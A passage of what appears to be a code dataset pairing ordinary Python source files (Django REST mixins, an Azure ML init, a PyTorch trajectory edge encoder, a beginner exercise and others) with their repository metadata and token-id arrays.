12, 12, 1311, 29889, 8552, 2744, 305, 943, 4591, 14420, 1762, 14420, 29898, 269, 473, 2242, 2747, 29892, 3646, 13148, 1723, 13, 12, 12, 12, 12, 13, 12, 12, 12, 12, 29937, 3509, 21556, 29901, 13, 12, 12, 12, 12, 361, 1539, 29878, 8241, 3782, 29901, 13, 12, 12, 12, 12, 12, 1311, 29889, 8552, 10095, 10817, 4591, 14420, 1762, 14420, 29898, 269, 473, 2242, 2747, 29892, 3646, 13148, 1723, 13, 12, 12, 12, 12, 12, 13, 12, 12, 12, 12, 9824, 29889, 12007, 6422, 10448, 580, 13, 12, 12, 12, 19499, 8960, 29892, 321, 29901, 13, 12, 12, 12, 12, 2158, 321, 13, 12, 12, 13, 12, 12, 361, 451, 1583, 29889, 29893, 29889, 17462, 29918, 7165, 29918, 3150, 29889, 657, 7295, 13, 12, 12, 12, 1311, 29889, 29893, 29889, 5358, 580, 13, 13, 19203, 29943, 5495, 580, 13, 2 ]
venv/lib/python3.8/site-packages/azureml/_tracing/__init__.py
amcclead7336/Enterprise_Data_Science_Final
0
47127
<gh_stars>0 # --------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # --------------------------------------------------------- from azureml._base_sdk_common import __version__ as VERSION from ._tracer_factory import get_tracer __version__ = VERSION __all__ = [ 'get_tracer' ]
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29900, 13, 29937, 448, 2683, 2683, 2683, 1378, 30004, 13, 29937, 14187, 1266, 313, 29883, 29897, 7783, 15025, 29889, 2178, 10462, 21676, 22993, 13, 29937, 448, 2683, 2683, 2683, 1378, 30004, 13, 30004, 13, 3166, 15699, 828, 3032, 3188, 29918, 15348, 29918, 9435, 1053, 4770, 3259, 1649, 408, 478, 1001, 13381, 30004, 13, 3166, 869, 29918, 29873, 945, 261, 29918, 14399, 1053, 679, 29918, 29873, 945, 261, 30004, 13, 30004, 13, 1649, 3259, 1649, 353, 478, 1001, 13381, 30004, 13, 30004, 13, 1649, 497, 1649, 353, 518, 30004, 13, 1678, 525, 657, 29918, 29873, 945, 261, 29915, 30004, 13, 29962, 30004, 13, 2 ]
src/util/__init__.py
Newms226/project_creator
0
75031
URL_Root = ''
[ 1, 29871, 13, 4219, 29918, 10303, 353, 6629, 2 ]
src/shipchain_common/mixins.py
ShipChain/python-common
2
150454
""" Copyright 2019 ShipChain, Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from rest_framework import status, mixins from rest_framework.response import Response class SerializationType: REQUEST = 0 RESPONSE = 1 class MultiSerializerViewSetMixin: def get_serializer_class(self): """ Look for serializer class in self.action_serializer_classes, which should be a dict mapping action name (key) to serializer class (value), i.e.: class MyViewSet(MultiSerializerViewSetMixin, ViewSet): serializer_class = MyDefaultSerializer action_serializer_classes = { 'list': MyListSerializer, 'my_action': MyActionSerializer, } @action def my_action: ... If there's no entry for that action then just fallback to the regular get_serializer_class lookup: self.serializer_class, DefaultSerializer. Built-in actions: create retrieve update PUT partial_update PATCH destroy list """ action = self.action try: # PUT and PATCH should use the same serializers if not separately defined if action == 'partial_update' and 'partial_update' not in self.action_serializer_classes: action = 'update' if 'format' in self.kwargs: try: return self.action_serializer_classes[f'{action}.{self.kwargs["format"]}'] except (KeyError, AttributeError): pass return self.action_serializer_classes[action] except (KeyError, AttributeError): return super(MultiSerializerViewSetMixin, self).get_serializer_class() class MultiPermissionViewSetMixin: def get_permissions(self): """ Look for permission classes in self.action_permission_classes, which should be a dict mapping action name (key) to list of permission classes (value), i.e.: class MyViewSet(MultiPermissionViewSetMixin, ViewSet): permission_classes = (HasViewSetActionPermissions,) action_permission_classes = { 'list': (permissions.AllowAny,), 'my_action': (HasViewSetActionPermissions, isOwner,), } @action def my_action: ... If there's no entry for that action then just fallback to the regular permission_classes Built-in actions: create retrieve update PUT partial_update PATCH destroy list """ permission_classes = self.permission_classes try: action = self.action # PUT and PATCH should use the same permission classes if not separately defined if action == 'partial_update' and 'partial_update' not in self.action_permission_classes: action = 'update' permission_classes = self.action_permission_classes[action] except (KeyError, AttributeError): pass return [permission() for permission in permission_classes] class ConfigurableCreateModelMixin(mixins.CreateModelMixin): def create(self, request, *args, **kwargs): """ Provide SerializationType to get_serializer, re-serialize response if necessary, change status code if wanted """ config = self.get_configuration() serializer = self.get_serializer(data=request.data) serializer.is_valid(raise_exception=config.raise_validation) instance = self.perform_create(serializer) headers = self.get_success_headers(serializer.data) if config.re_serialize_response: serializer = self.get_serializer(instance=instance, serialization_type=SerializationType.RESPONSE) return Response(serializer.data, status=config.success_status or status.HTTP_201_CREATED, headers=headers) def perform_create(self, serializer): """Returned the saved instance for later processing""" return serializer.save() class ConfigurableRetrieveModelMixin(mixins.RetrieveModelMixin): """ Retrieve a model instance. Provide SerializationType to get_serializer """ def retrieve(self, request, *args, **kwargs): instance = self.get_object() serializer = self.get_serializer(instance=instance, serialization_type=SerializationType.RESPONSE) return Response(serializer.data) class ConfigurableUpdateModelMixin(mixins.UpdateModelMixin): def update(self, request, *args, **kwargs): """ Provide SerializationType to get_serializer, re-serialize response if necessary, change status code if wanted """ config = self.get_configuration() partial = kwargs.pop('partial', False) instance = self.get_object() serializer = self.get_serializer(instance=instance, data=request.data, partial=partial) serializer.is_valid(raise_exception=config.raise_validation) updated_instance = self.perform_update(serializer) if getattr(instance, '_prefetched_objects_cache', None): # If 'prefetch_related' has been applied to a queryset, we need to # forcibly invalidate the prefetch cache on the instance. instance._prefetched_objects_cache = {} # pylint: disable=protected-access if config.re_serialize_response: serializer = self.get_serializer(instance=updated_instance, serialization_type=SerializationType.RESPONSE) return Response(serializer.data, status=config.success_status or status.HTTP_200_OK) def perform_update(self, serializer): """Returned the updated instance for later processing""" return serializer.save() class ConfigurableDestroyModelMixin(mixins.DestroyModelMixin): """No specific Configurable changes; creating mixin for consistency""" class ConfigurableListModelMixin(mixins.ListModelMixin): """ List a queryset. Provide SerializationType to get_serializer """ def list(self, request, *args, **kwargs): queryset = self.filter_queryset(self.get_queryset()) page = self.paginate_queryset(queryset) if page is not None: serializer = self.get_serializer(page, many=True, serialization_type=SerializationType.RESPONSE) return self.get_paginated_response(serializer.data) serializer = self.get_serializer(queryset, many=True, serialization_type=SerializationType.RESPONSE) return Response(serializer.data)
[ 1, 9995, 13, 11882, 1266, 29871, 29906, 29900, 29896, 29929, 1383, 666, 14688, 29892, 9266, 29889, 13, 13, 29931, 293, 21144, 1090, 278, 13380, 19245, 29892, 10079, 29871, 29906, 29889, 29900, 313, 1552, 376, 29931, 293, 1947, 1496, 13, 6293, 1122, 451, 671, 445, 934, 5174, 297, 752, 13036, 411, 278, 19245, 29889, 13, 3492, 1122, 4017, 263, 3509, 310, 278, 19245, 472, 13, 13, 1678, 1732, 597, 1636, 29889, 4288, 29889, 990, 29914, 506, 11259, 29914, 27888, 1430, 1660, 29899, 29906, 29889, 29900, 13, 13, 2525, 2222, 3734, 491, 22903, 4307, 470, 15502, 304, 297, 5007, 29892, 7047, 13, 5721, 7541, 1090, 278, 19245, 338, 13235, 373, 385, 376, 3289, 8519, 29908, 350, 3289, 3235, 29892, 13, 29956, 1806, 8187, 2692, 399, 1718, 29934, 13566, 29059, 6323, 8707, 29928, 22122, 29903, 8079, 13764, 29979, 476, 22255, 29892, 2845, 4653, 470, 2411, 2957, 29889, 13, 13393, 278, 19245, 363, 278, 2702, 4086, 14765, 1076, 11239, 322, 13, 13400, 800, 1090, 278, 19245, 29889, 13, 15945, 29908, 13, 3166, 1791, 29918, 4468, 1053, 4660, 29892, 6837, 1144, 13, 3166, 1791, 29918, 4468, 29889, 5327, 1053, 13291, 13, 13, 13, 1990, 18896, 2133, 1542, 29901, 13, 1678, 5195, 14130, 353, 29871, 29900, 13, 1678, 390, 2890, 29925, 1164, 1660, 353, 29871, 29896, 13, 13, 13, 1990, 14974, 17679, 1043, 2697, 29924, 861, 262, 29901, 13, 1678, 822, 679, 29918, 15550, 3950, 29918, 1990, 29898, 1311, 1125, 13, 4706, 9995, 13, 4706, 7419, 363, 7797, 3950, 770, 297, 1583, 29889, 2467, 29918, 15550, 3950, 29918, 13203, 29892, 607, 13, 4706, 881, 367, 263, 9657, 10417, 3158, 1024, 313, 1989, 29897, 304, 7797, 3950, 770, 313, 1767, 511, 13, 4706, 474, 29889, 29872, 4898, 13, 13, 4706, 770, 1619, 1043, 2697, 29898, 15329, 17679, 1043, 2697, 29924, 861, 262, 29892, 4533, 2697, 1125, 13, 9651, 7797, 3950, 29918, 1990, 353, 1619, 4592, 17679, 13, 9651, 3158, 29918, 15550, 3950, 29918, 13203, 353, 426, 13, 1669, 525, 1761, 2396, 1619, 1293, 17679, 29892, 13, 1669, 525, 1357, 29918, 2467, 2396, 1619, 4276, 17679, 29892, 13, 9651, 500, 13, 13, 9651, 732, 2467, 13, 9651, 822, 590, 29918, 2467, 29901, 13, 18884, 2023, 13, 13, 4706, 960, 727, 29915, 29879, 694, 6251, 363, 393, 3158, 769, 925, 6416, 1627, 304, 278, 4943, 13, 4706, 679, 29918, 15550, 3950, 29918, 1990, 16280, 29901, 1583, 29889, 15550, 3950, 29918, 1990, 29892, 13109, 17679, 29889, 13, 13, 4706, 5373, 2782, 29899, 262, 8820, 29901, 13, 9651, 1653, 13, 9651, 10563, 13, 9651, 2767, 308, 349, 2692, 13, 9651, 7687, 29918, 5504, 349, 14789, 13, 9651, 8174, 13, 9651, 1051, 13, 4706, 9995, 13, 4706, 3158, 353, 1583, 29889, 2467, 13, 13, 4706, 1018, 29901, 13, 9651, 396, 349, 2692, 322, 349, 14789, 881, 671, 278, 1021, 7797, 19427, 565, 451, 16949, 3342, 13, 9651, 565, 3158, 1275, 525, 3846, 29918, 5504, 29915, 322, 525, 3846, 29918, 5504, 29915, 451, 297, 1583, 29889, 2467, 29918, 15550, 3950, 29918, 13203, 29901, 13, 18884, 3158, 353, 525, 5504, 29915, 13, 13, 9651, 565, 525, 4830, 29915, 297, 1583, 29889, 19290, 29901, 13, 18884, 1018, 29901, 13, 462, 1678, 736, 1583, 29889, 2467, 29918, 15550, 3950, 29918, 13203, 29961, 29888, 29915, 29912, 2467, 1836, 29912, 1311, 29889, 19290, 3366, 4830, 3108, 29913, 2033, 13, 18884, 5174, 313, 2558, 2392, 29892, 23833, 2392, 1125, 13, 462, 1678, 1209, 13, 13, 9651, 736, 1583, 29889, 2467, 29918, 15550, 3950, 29918, 13203, 29961, 2467, 29962, 13, 13, 4706, 5174, 313, 2558, 2392, 29892, 23833, 2392, 1125, 13, 9651, 736, 2428, 29898, 15329, 17679, 1043, 2697, 29924, 861, 262, 29892, 1583, 467, 657, 29918, 15550, 3950, 29918, 1990, 580, 13, 13, 13, 1990, 14974, 27293, 1043, 2697, 29924, 861, 262, 29901, 13, 1678, 822, 679, 29918, 17858, 6847, 29898, 1311, 1125, 13, 4706, 9995, 13, 4706, 7419, 363, 10751, 4413, 297, 1583, 29889, 2467, 29918, 16074, 29918, 13203, 29892, 607, 13, 4706, 881, 367, 263, 9657, 10417, 3158, 1024, 313, 1989, 29897, 304, 1051, 310, 10751, 4413, 313, 1767, 511, 13, 4706, 474, 29889, 29872, 4898, 13, 13, 4706, 770, 1619, 1043, 2697, 29898, 15329, 27293, 1043, 2697, 29924, 861, 262, 29892, 4533, 2697, 1125, 13, 9651, 10751, 29918, 13203, 353, 313, 14510, 1043, 2697, 4276, 15737, 6847, 29892, 29897, 13, 9651, 3158, 29918, 16074, 29918, 13203, 353, 426, 13, 1669, 525, 1761, 2396, 313, 17858, 6847, 29889, 15930, 10773, 29892, 511, 13, 1669, 525, 1357, 29918, 2467, 2396, 313, 14510, 1043, 2697, 4276, 15737, 6847, 29892, 338, 28213, 29892, 511, 13, 9651, 500, 13, 13, 9651, 732, 2467, 13, 9651, 822, 590, 29918, 2467, 29901, 13, 18884, 2023, 13, 13, 4706, 960, 727, 29915, 29879, 694, 6251, 363, 393, 3158, 769, 925, 6416, 1627, 304, 278, 4943, 10751, 29918, 13203, 13, 13, 4706, 5373, 2782, 29899, 262, 8820, 29901, 13, 9651, 1653, 13, 9651, 10563, 13, 9651, 2767, 308, 349, 2692, 13, 9651, 7687, 29918, 5504, 349, 14789, 13, 9651, 8174, 13, 9651, 1051, 13, 4706, 9995, 13, 4706, 10751, 29918, 13203, 353, 1583, 29889, 16074, 29918, 13203, 13, 13, 4706, 1018, 29901, 13, 9651, 3158, 353, 1583, 29889, 2467, 13, 13, 9651, 396, 349, 2692, 322, 349, 14789, 881, 671, 278, 1021, 10751, 4413, 565, 451, 16949, 3342, 13, 9651, 565, 3158, 1275, 525, 3846, 29918, 5504, 29915, 322, 525, 3846, 29918, 5504, 29915, 451, 297, 1583, 29889, 2467, 29918, 16074, 29918, 13203, 29901, 13, 18884, 3158, 353, 525, 5504, 29915, 13, 13, 9651, 10751, 29918, 13203, 353, 1583, 29889, 2467, 29918, 16074, 29918, 13203, 29961, 2467, 29962, 13, 13, 4706, 5174, 313, 2558, 2392, 29892, 23833, 2392, 1125, 13, 9651, 1209, 13, 13, 4706, 736, 518, 16074, 580, 363, 10751, 297, 10751, 29918, 13203, 29962, 13, 13, 13, 1990, 12782, 21115, 4391, 3195, 29924, 861, 262, 29898, 28084, 1144, 29889, 4391, 3195, 29924, 861, 262, 1125, 13, 1678, 822, 1653, 29898, 1311, 29892, 2009, 29892, 334, 5085, 29892, 3579, 19290, 1125, 13, 4706, 9995, 13, 4706, 9133, 680, 18896, 2133, 1542, 304, 679, 29918, 15550, 3950, 29892, 337, 29899, 643, 6646, 2933, 565, 5181, 29892, 1735, 4660, 775, 565, 5131, 13, 4706, 9995, 13, 4706, 2295, 353, 1583, 29889, 657, 29918, 13305, 580, 13, 13, 4706, 7797, 3950, 353, 1583, 29889, 657, 29918, 15550, 3950, 29898, 1272, 29922, 3827, 29889, 1272, 29897, 13, 4706, 7797, 3950, 29889, 275, 29918, 3084, 29898, 22692, 29918, 11739, 29922, 2917, 29889, 22692, 29918, 18157, 29897, 13, 4706, 2777, 353, 1583, 29889, 19826, 29918, 3258, 29898, 15550, 3950, 29897, 13, 4706, 9066, 353, 1583, 29889, 657, 29918, 8698, 29918, 13662, 29898, 15550, 3950, 29889, 1272, 29897, 13, 13, 4706, 565, 2295, 29889, 276, 29918, 643, 6646, 29918, 5327, 29901, 13, 9651, 7797, 3950, 353, 1583, 29889, 657, 29918, 15550, 3950, 29898, 8758, 29922, 8758, 29892, 7797, 2133, 29918, 1853, 29922, 9125, 2133, 1542, 29889, 1525, 5550, 1164, 1660, 29897, 13, 13, 4706, 736, 13291, 29898, 15550, 3950, 29889, 1272, 29892, 13, 462, 4706, 4660, 29922, 2917, 29889, 8698, 29918, 4882, 470, 4660, 29889, 10493, 29918, 29906, 29900, 29896, 29918, 27045, 29928, 29892, 13, 462, 4706, 9066, 29922, 13662, 29897, 13, 13, 1678, 822, 2189, 29918, 3258, 29898, 1311, 29892, 7797, 3950, 1125, 13, 4706, 9995, 11609, 287, 278, 7160, 2777, 363, 2678, 9068, 15945, 29908, 13, 4706, 736, 7797, 3950, 29889, 7620, 580, 13, 13, 13, 1990, 12782, 21115, 8015, 29878, 2418, 3195, 29924, 861, 262, 29898, 28084, 1144, 29889, 8015, 29878, 2418, 3195, 29924, 861, 262, 1125, 13, 1678, 9995, 13, 1678, 4649, 29878, 2418, 263, 1904, 2777, 29889, 29871, 9133, 680, 18896, 2133, 1542, 304, 679, 29918, 15550, 3950, 13, 1678, 9995, 13, 1678, 822, 10563, 29898, 1311, 29892, 2009, 29892, 334, 5085, 29892, 3579, 19290, 1125, 13, 4706, 2777, 353, 1583, 29889, 657, 29918, 3318, 580, 13, 4706, 7797, 3950, 353, 1583, 29889, 657, 29918, 15550, 3950, 29898, 8758, 29922, 8758, 29892, 7797, 2133, 29918, 1853, 29922, 9125, 2133, 1542, 29889, 1525, 5550, 1164, 1660, 29897, 13, 4706, 736, 13291, 29898, 15550, 3950, 29889, 1272, 29897, 13, 13, 13, 1990, 12782, 21115, 6422, 3195, 29924, 861, 262, 29898, 28084, 1144, 29889, 6422, 3195, 29924, 861, 262, 1125, 13, 1678, 822, 2767, 29898, 1311, 29892, 2009, 29892, 334, 5085, 29892, 3579, 19290, 1125, 13, 4706, 9995, 13, 4706, 9133, 680, 18896, 2133, 1542, 304, 679, 29918, 15550, 3950, 29892, 337, 29899, 643, 6646, 2933, 565, 5181, 29892, 1735, 4660, 775, 565, 5131, 13, 4706, 9995, 13, 4706, 2295, 353, 1583, 29889, 657, 29918, 13305, 580, 13, 13, 4706, 7687, 353, 9049, 5085, 29889, 7323, 877, 3846, 742, 7700, 29897, 13, 4706, 2777, 353, 1583, 29889, 657, 29918, 3318, 580, 13, 4706, 7797, 3950, 353, 1583, 29889, 657, 29918, 15550, 3950, 29898, 8758, 29922, 8758, 29892, 848, 29922, 3827, 29889, 1272, 29892, 7687, 29922, 3846, 29897, 13, 4706, 7797, 3950, 29889, 275, 29918, 3084, 29898, 22692, 29918, 11739, 29922, 2917, 29889, 22692, 29918, 18157, 29897, 13, 4706, 4784, 29918, 8758, 353, 1583, 29889, 19826, 29918, 5504, 29898, 15550, 3950, 29897, 13, 13, 4706, 565, 679, 5552, 29898, 8758, 29892, 22868, 29886, 999, 3486, 287, 29918, 12650, 29918, 8173, 742, 6213, 1125, 13, 9651, 396, 960, 525, 29886, 999, 3486, 29918, 12817, 29915, 756, 1063, 7436, 304, 263, 2346, 842, 29892, 591, 817, 304, 13, 9651, 396, 363, 455, 29890, 368, 8340, 403, 278, 758, 9155, 7090, 373, 278, 2777, 29889, 13, 9651, 2777, 3032, 29886, 999, 3486, 287, 29918, 12650, 29918, 8173, 353, 6571, 29871, 396, 282, 2904, 524, 29901, 11262, 29922, 24681, 29899, 5943, 13, 13, 4706, 565, 2295, 29889, 276, 29918, 643, 6646, 29918, 5327, 29901, 13, 9651, 7797, 3950, 353, 1583, 29889, 657, 29918, 15550, 3950, 29898, 8758, 29922, 21402, 29918, 8758, 29892, 7797, 2133, 29918, 1853, 29922, 9125, 2133, 1542, 29889, 1525, 5550, 1164, 1660, 29897, 13, 13, 4706, 736, 13291, 29898, 15550, 3950, 29889, 1272, 29892, 4660, 29922, 2917, 29889, 8698, 29918, 4882, 470, 4660, 29889, 10493, 29918, 29906, 29900, 29900, 29918, 8949, 29897, 13, 13, 1678, 822, 2189, 29918, 5504, 29898, 1311, 29892, 7797, 3950, 1125, 13, 4706, 9995, 11609, 287, 278, 4784, 2777, 363, 2678, 9068, 15945, 29908, 13, 4706, 736, 7797, 3950, 29889, 7620, 580, 13, 13, 13, 1990, 12782, 21115, 14994, 4727, 3195, 29924, 861, 262, 29898, 28084, 1144, 29889, 14994, 4727, 3195, 29924, 861, 262, 1125, 13, 1678, 9995, 3782, 2702, 12782, 21115, 3620, 29936, 4969, 6837, 262, 363, 5718, 3819, 15945, 29908, 13, 13, 13, 1990, 12782, 21115, 1293, 3195, 29924, 861, 262, 29898, 28084, 1144, 29889, 1293, 3195, 29924, 861, 262, 1125, 13, 1678, 9995, 13, 1678, 2391, 263, 2346, 842, 29889, 29871, 9133, 680, 18896, 2133, 1542, 304, 679, 29918, 15550, 3950, 13, 1678, 9995, 13, 1678, 822, 1051, 29898, 1311, 29892, 2009, 29892, 334, 5085, 29892, 3579, 19290, 1125, 13, 4706, 2346, 842, 353, 1583, 29889, 4572, 29918, 1972, 842, 29898, 1311, 29889, 657, 29918, 1972, 842, 3101, 13, 13, 4706, 1813, 353, 1583, 29889, 13573, 16976, 29918, 1972, 842, 29898, 1972, 842, 29897, 13, 4706, 565, 1813, 338, 451, 6213, 29901, 13, 9651, 7797, 3950, 353, 1583, 29889, 657, 29918, 15550, 3950, 29898, 3488, 29892, 1784, 29922, 5574, 29892, 7797, 2133, 29918, 1853, 29922, 9125, 2133, 1542, 29889, 1525, 5550, 1164, 1660, 29897, 13, 9651, 736, 1583, 29889, 657, 29918, 13573, 262, 630, 29918, 5327, 29898, 15550, 3950, 29889, 1272, 29897, 13, 13, 4706, 7797, 3950, 353, 1583, 29889, 657, 29918, 15550, 3950, 29898, 1972, 842, 29892, 1784, 29922, 5574, 29892, 7797, 2133, 29918, 1853, 29922, 9125, 2133, 1542, 29889, 1525, 5550, 1164, 1660, 29897, 13, 4706, 736, 13291, 29898, 15550, 3950, 29889, 1272, 29897, 13, 2 ]
exercicio3.py
DrokaGit/-infosatc-lp-avaliativo-02
0
10655
nume1 = int(input("Digite um numero")) nume2 = int(input("Digite um numero")) nume3 = int(input("Digite um numero")) nume4 = int(input("Digite um numero")) nume5 = int(input("Digite um numero")) table = [nume1,nume2,nume3,nume4,nume5] tableM = (float((nume1 + nume2 + nume3 + nume4 + nume5))) print(float(tableM))
[ 1, 954, 29872, 29896, 353, 938, 29898, 2080, 703, 14991, 568, 1922, 17910, 5783, 13, 1949, 29872, 29906, 353, 938, 29898, 2080, 703, 14991, 568, 1922, 17910, 5783, 13, 1949, 29872, 29941, 353, 938, 29898, 2080, 703, 14991, 568, 1922, 17910, 5783, 13, 1949, 29872, 29946, 353, 938, 29898, 2080, 703, 14991, 568, 1922, 17910, 5783, 13, 1949, 29872, 29945, 353, 938, 29898, 2080, 703, 14991, 568, 1922, 17910, 5783, 13, 13, 2371, 353, 518, 1949, 29872, 29896, 29892, 1949, 29872, 29906, 29892, 1949, 29872, 29941, 29892, 1949, 29872, 29946, 29892, 1949, 29872, 29945, 29962, 13, 2371, 29924, 353, 313, 7411, 3552, 1949, 29872, 29896, 718, 954, 29872, 29906, 718, 954, 29872, 29941, 718, 954, 29872, 29946, 718, 954, 29872, 29945, 4961, 13, 2158, 29898, 7411, 29898, 2371, 29924, 876, 2 ]
src/biokbase/narrative/__init__.py
pranjan77/narrative
0
138662
<filename>src/biokbase/narrative/__init__.py __all__ = ['magics', 'common', 'handlers', 'contents', 'services', 'widgetmanager'] from semantic_version import Version __version__ = Version("4.2.1") version = lambda: __version__ # if run directly: # no args = print current version # 1 arg = self-modify version to arg value if __name__ == '__main__': import os, sys if len(sys.argv) == 1: print(version()) elif len(sys.argv) == 2: ver = sys.argv[1] try: Version(ver) except: print("Invalid version: {}".format(ver)) sys.exit(1) oldver = '"' + str(version()) + '"' newver = '"' + ver + '"' myfile = os.path.abspath(sys.argv[0]) oldself = open(myfile).read() newself = oldself.replace(oldver, newver) open(myfile, 'w').write(newself) sys.exit(0)
[ 1, 529, 9507, 29958, 4351, 29914, 5365, 554, 3188, 29914, 29876, 2749, 1230, 29914, 1649, 2344, 26914, 2272, 13, 1649, 497, 1649, 353, 6024, 11082, 1199, 742, 525, 9435, 742, 525, 3179, 9306, 742, 525, 10853, 742, 525, 9916, 742, 525, 8030, 12847, 2033, 13, 13, 3166, 28837, 29918, 3259, 1053, 10079, 13, 1649, 3259, 1649, 353, 10079, 703, 29946, 29889, 29906, 29889, 29896, 1159, 13, 3259, 353, 14013, 29901, 4770, 3259, 1649, 13, 13, 29937, 565, 1065, 4153, 29901, 13, 29937, 259, 694, 6389, 353, 1596, 1857, 1873, 13, 29937, 1678, 29896, 1852, 353, 1583, 29899, 1545, 1598, 1873, 304, 1852, 995, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 1678, 1053, 2897, 29892, 10876, 13, 1678, 565, 7431, 29898, 9675, 29889, 19218, 29897, 1275, 29871, 29896, 29901, 13, 4706, 1596, 29898, 3259, 3101, 13, 1678, 25342, 7431, 29898, 9675, 29889, 19218, 29897, 1275, 29871, 29906, 29901, 13, 4706, 1147, 353, 10876, 29889, 19218, 29961, 29896, 29962, 13, 4706, 1018, 29901, 13, 9651, 10079, 29898, 369, 29897, 13, 4706, 5174, 29901, 13, 9651, 1596, 703, 13919, 1873, 29901, 6571, 1642, 4830, 29898, 369, 876, 13, 9651, 10876, 29889, 13322, 29898, 29896, 29897, 13, 4706, 2030, 369, 353, 18793, 29915, 718, 851, 29898, 3259, 3101, 718, 18793, 29915, 13, 4706, 716, 369, 353, 18793, 29915, 718, 1147, 718, 18793, 29915, 13, 4706, 590, 1445, 353, 2897, 29889, 2084, 29889, 370, 1028, 493, 29898, 9675, 29889, 19218, 29961, 29900, 2314, 13, 4706, 2030, 1311, 353, 1722, 29898, 1357, 1445, 467, 949, 580, 13, 4706, 716, 1311, 353, 2030, 1311, 29889, 6506, 29898, 1025, 369, 29892, 716, 369, 29897, 13, 4706, 1722, 29898, 1357, 1445, 29892, 525, 29893, 2824, 3539, 29898, 1482, 1311, 29897, 13, 1678, 10876, 29889, 13322, 29898, 29900, 29897, 13, 2 ]
home/processors.py
saqlainrasheed/iogt
20
105448
<reponame>saqlainrasheed/iogt<filename>home/processors.py from django.conf import settings def show_welcome_banner(request): return { "first_time_user": request.session.get("first_time_user", True) } def commit_hash(request): return {'commit_hash': settings.COMMIT_HASH}
[ 1, 529, 276, 1112, 420, 29958, 4977, 29939, 7420, 3417, 354, 287, 29914, 29875, 468, 29873, 29966, 9507, 29958, 5184, 29914, 5014, 943, 29889, 2272, 13, 3166, 9557, 29889, 5527, 1053, 6055, 13, 13, 13, 1753, 1510, 29918, 20466, 2763, 29918, 29890, 7310, 29898, 3827, 1125, 13, 1678, 736, 426, 13, 4706, 376, 4102, 29918, 2230, 29918, 1792, 1115, 2009, 29889, 7924, 29889, 657, 703, 4102, 29918, 2230, 29918, 1792, 613, 5852, 29897, 13, 1678, 500, 13, 13, 13, 1753, 9063, 29918, 8568, 29898, 3827, 1125, 13, 1678, 736, 11117, 15060, 29918, 8568, 2396, 6055, 29889, 3217, 7428, 1806, 29918, 29950, 24943, 29913, 13, 2 ]
trajectron_plus_plus/model/mgcvae/encoding/edge_state_encoding.py
rozzong/trajectron-plus-plus
0
168779
from abc import ABC, abstractmethod from typing import Callable, Union import torch from torch import nn from .utils import run_lstm_on_variable_length_seqs # TODO: Specify types in signatures class EdgeStateEncoder(nn.Module, ABC): def __init__( self, edge_type, input_size: int, output_size: int, p: float, use_dynamic_edges: bool, *args, **kwargs, ): super().__init__() self.edge_type = edge_type self.input_size = input_size self.output_size = output_size self.p = p self.use_dynamic_edges = use_dynamic_edges self._build(*args, **kwargs) @abstractmethod def _build_combiner(self, *args, **kwargs) -> int: """Build the combiner. Returns ------- int The size of the output of the combiner. """ pass def _build(self, *args, **kwargs): self.combiner_output_size = self._build_combiner(*args, **kwargs) self.lstm = nn.LSTM( input_size=self.combiner_output_size, hidden_size=self.output_size, batch_first=True ) self.dropout = nn.Dropout(self.p) @abstractmethod def combine(self, edge_states_list, neighbors_edge_value): pass def forward( self, node_history_st, neighbors, neighbors_edge_value, first_history_indices, states ): edge_states_list = [] # [Number of neighbors, max_ht, state_dim] for i, neighbor_states in enumerate(neighbors): if len(neighbor_states): edge_states_list.append( torch.stack(neighbor_states, dim=0)) else: len_neighbor_state = sum( [len(axes) for axes in states[self.edge_type[1]].values()] ) edge_states_list.append( torch.zeros( (1, node_history_st.shape[1], len_neighbor_state), device=node_history_st.device ) ) combined_neighbors, combined_edge_masks = self.combine( edge_states_list, neighbors_edge_value ) joint_history = torch.cat( [combined_neighbors, node_history_st], dim=-1 ) outputs, _ = run_lstm_on_variable_length_seqs( self.lstm, original_seqs=joint_history, lower_indices=first_history_indices ) outputs = self.dropout(outputs) last_index_per_sequence = -(first_history_indices + 1) ret = outputs[ torch.arange(len(last_index_per_sequence)), last_index_per_sequence ] if self.use_dynamic_edges: ret *= combined_edge_masks return ret class ReducingEdgeStateEncoder(EdgeStateEncoder): def __init__( self, edge_type, input_size: int, output_size: int, p: float, use_dynamic_edges: bool, reduce: Union[Callable, str], ): super().__init__( edge_type, input_size, output_size, p, use_dynamic_edges, reduce ) def _build_combiner(self, reduce) -> int: if isinstance(reduce, str): reduce = getattr(torch, reduce) self.reduce = reduce return self.input_size def combine(self, edge_states_list, neighbors_edge_value): op_applied_edge_states_list = [] for neighbors_state in edge_states_list: op_applied_edge_states_list.append( self.reduce(neighbors_state, dim=0) ) combined_neighbors = torch.stack(op_applied_edge_states_list, dim=0) combined_edge_masks = None if self.use_dynamic_edges: # Should now be (bs, time, 1) op_applied_edge_mask_list = [] for edge_value in neighbors_edge_value: op_applied_edge_mask_list.append( torch.clamp( self.reduce(edge_value, dim=0, keepdim=True), max=1 ) ) combined_edge_masks = torch.stack(op_applied_edge_mask_list, dim=0) return combined_neighbors, combined_edge_masks class PointNetEdgeStateEncoder(EdgeStateEncoder): def __init__( self, edge_type, input_size: int, output_size: int, p: float, use_dynamic_edges: bool, ): super().__init__( edge_type, input_size, output_size, p, use_dynamic_edges, ) raise NotImplementedError def _build_combiner(self) -> int: return 0 def combine(self, edge_states_list, neighbors_edge_value): pass class AttentionEdgeStateEncoder(EdgeStateEncoder): def __init__( self, edge_type, input_size: int, output_size: int, p: float, use_dynamic_edges: bool, ): super().__init__( edge_type, input_size, output_size, p, use_dynamic_edges, ) raise NotImplementedError def _build_combiner(self) -> int: return 0 def combine(self, edge_states_list, neighbors_edge_value): pass
